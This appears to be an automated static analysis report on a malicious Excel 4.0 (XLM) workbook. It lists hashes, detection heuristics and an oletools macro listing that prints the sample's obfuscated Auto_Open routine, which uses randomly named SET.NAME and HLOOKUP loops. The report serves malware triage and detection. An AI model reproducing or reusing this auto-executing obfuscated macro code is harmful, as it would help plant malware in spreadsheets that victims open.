Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f2e5c2aa954d96d…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:45:02 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 91c9d03e3fa684046ce380ea2ce932a9 SHA-1: f9bab40dd880f179d2695fb7dec5567f5a83e2bc SHA-256: 4f2e5c2aa954d96d0817c27d10bdf7d58dd2ff27cfb639ccabff8cd008a9d51d
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6876 bytes
SHA-256: a663f683315f6b66c4d562980e6d6a7d64fac463f2fefc5af31bf14461c80354
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 39 identifiers look randomly generated (e.g. 'MJvsIPcLjzff') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  RBZuTrEUb
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H182 
' 0018     27 LABEL : Cell Value, String Constant - auwBQtpgSzCA len=0 
' 0018     27 LABEL : Cell Value, String Constant - cKNQKZbCEBdo len=0 
' 0018     20 LABEL : Cell Value, String Constant - DELtr len=0 
' 0018     22 LABEL : Cell Value, String Constant - gtEVgcK len=0 
' 0018     22 LABEL : Cell Value, String Constant - GYenjgU len=0 
' 0018     26 LABEL : Cell Value, String Constant - LUlFJsHKIXg len=0 
' 0018     27 LABEL : Cell Value, String Constant - MJvsIPcLjzff len=0 
' 0018     27 LABEL : Cell Value, String Constant - NONCbHxBFHnm len=0 
' 0018     22 LABEL : Cell Value, String Constant - oHzTfAC len=0 
' 0018     21 LABEL : Cell Value, String Constant - pQuXZr len=0 
' 0018     23 LABEL : Cell Value, String Constant - pUzponMd len=0 
' 0018     25 LABEL : Cell Value, String Constant - qfoWvVPYDT len=0 
' 0018     22 LABEL : Cell Value, String Constant - qQcalLL len=0 
' 0018     22 LABEL : Cell Value, String Constant - qYAcWpC len=0 
' 0018     24 LABEL : Cell Value, String Constant - smBZgcllJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - ULHVFM len=0 
' 0018     25 LABEL : Cell Value, String Constant - whtNESSRmL len=0 
' 0018     27 LABEL : Cell Value, String Constant - WiofDZNbBTkA len=0 
' 0018     23 LABEL : Cell Value, String Constant - WrutVwiC len=0 
' 0018     24 LABEL : Cell Value, String Constant - zSnwifeRp len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  RBZuTrEUb,P58,"",-651.00000000000000000000
'  RBZuTrEUb,P59,"",-966.00000000000000000000
'  RBZuTrEUb,P60,"",-240.00000000000000000000
'  RBZuTrEUb,P61,"",-3.00000000000000000000
'  RBZuTrEUb,P62,"",-109.00000000000000000000
'  RBZuTrEUb,P63,"",404.00000000000000000000
'  RBZuTrEUb,H97,"SET.NAME("MJvsIPcLjzff",0+VALUE("0"))",""
'  RBZuTrEUb,H101,"SET.NAME("ULHVFM",MJvsIPcLjzff)",""
'  RBZuTrEUb,H104,"SET.NAME("WrutVwiC",MJvsIPcLjzff)",""
'  RBZuTrEUb,H106,"SET.NAME("auwBQtpgSzCA",COUNTA(zSnwifeRp))",""
'  RBZuTrEUb,H108,"SET.NAME("whtNESSRmL",COUNTA(qQcalLL))",""
'  RBZuTrEUb,H111,[],""
'  RBZuTrEUb,H116,"SET.NAME("qYAcWpC","")",""
'  RBZuTrEUb,H118,"ULHVFM",""
'  RBZuTrEUb,H122,"SET.NAME("cKNQKZbCEBdo",HLOOKUP("*",zSnwifeRp,ULHVFM,FALSE))",""
'  RBZuTrEUb,H126,"smBZgcllJ",""
'  RBZuTrEUb,H129,"SET.NAME("qfoWvVPYDT",MJvsIPcLjzff)",""
'  RBZuTrEUb,H131,[],""
'  RBZuTrEUb,H136,"qfoWvVPYDT",""
'  RBZuTrEUb,H138,"gtEVgcK",""
'  RBZuTrEUb,H140,"oHzTfAC",""
'  RBZuTrEUb,H143,"LUlFJsHKIXg",""
'  RBZuTrEUb,H146,"SET.NAME("GYenjgU",VALUE(HLOOKUP("*",qQcalLL,LUlFJsHKIXg,FALSE)))",""
'  RBZuTrEUb,H148,"pUzponMd",""
'  RBZuTrEUb,H152,"qYAcWpC",""
'  RBZuTrEUb,H154,"WrutVwiC",""
'  RBZuTrEUb,H156,NEXT(),""
'  RBZuTrEUb,H161,"NONCbHxBFHnm",""
'  RBZuTrEUb,H166,[],""
'  RBZuTrEUb,H171,"DELtr",""
'  RBZuTrEUb,H175,NEXT(),""
'  RBZuTrEUb,H180,RETURN(),""
'  RBZuTrEUb,H207,"SET.NAME("WiofDZNbBTkA",H97)",""
'  RBZuTrEUb,H211,"zSnwifeRp",""
'  RBZuTrEUb,H215,"SET.NAME("qQcalLL",R79C11)",""
'  RBZuTrEUb,H219,"SET.NAME("DELtr",227)",""
'  RBZuTrEUb,H224,"SET.NAME("pQuXZr",8)",""
'  RBZuTrEUb,H226,WiofDZNbBTkA(),""
'  RBZuTrEUb,H227,HALT(),""

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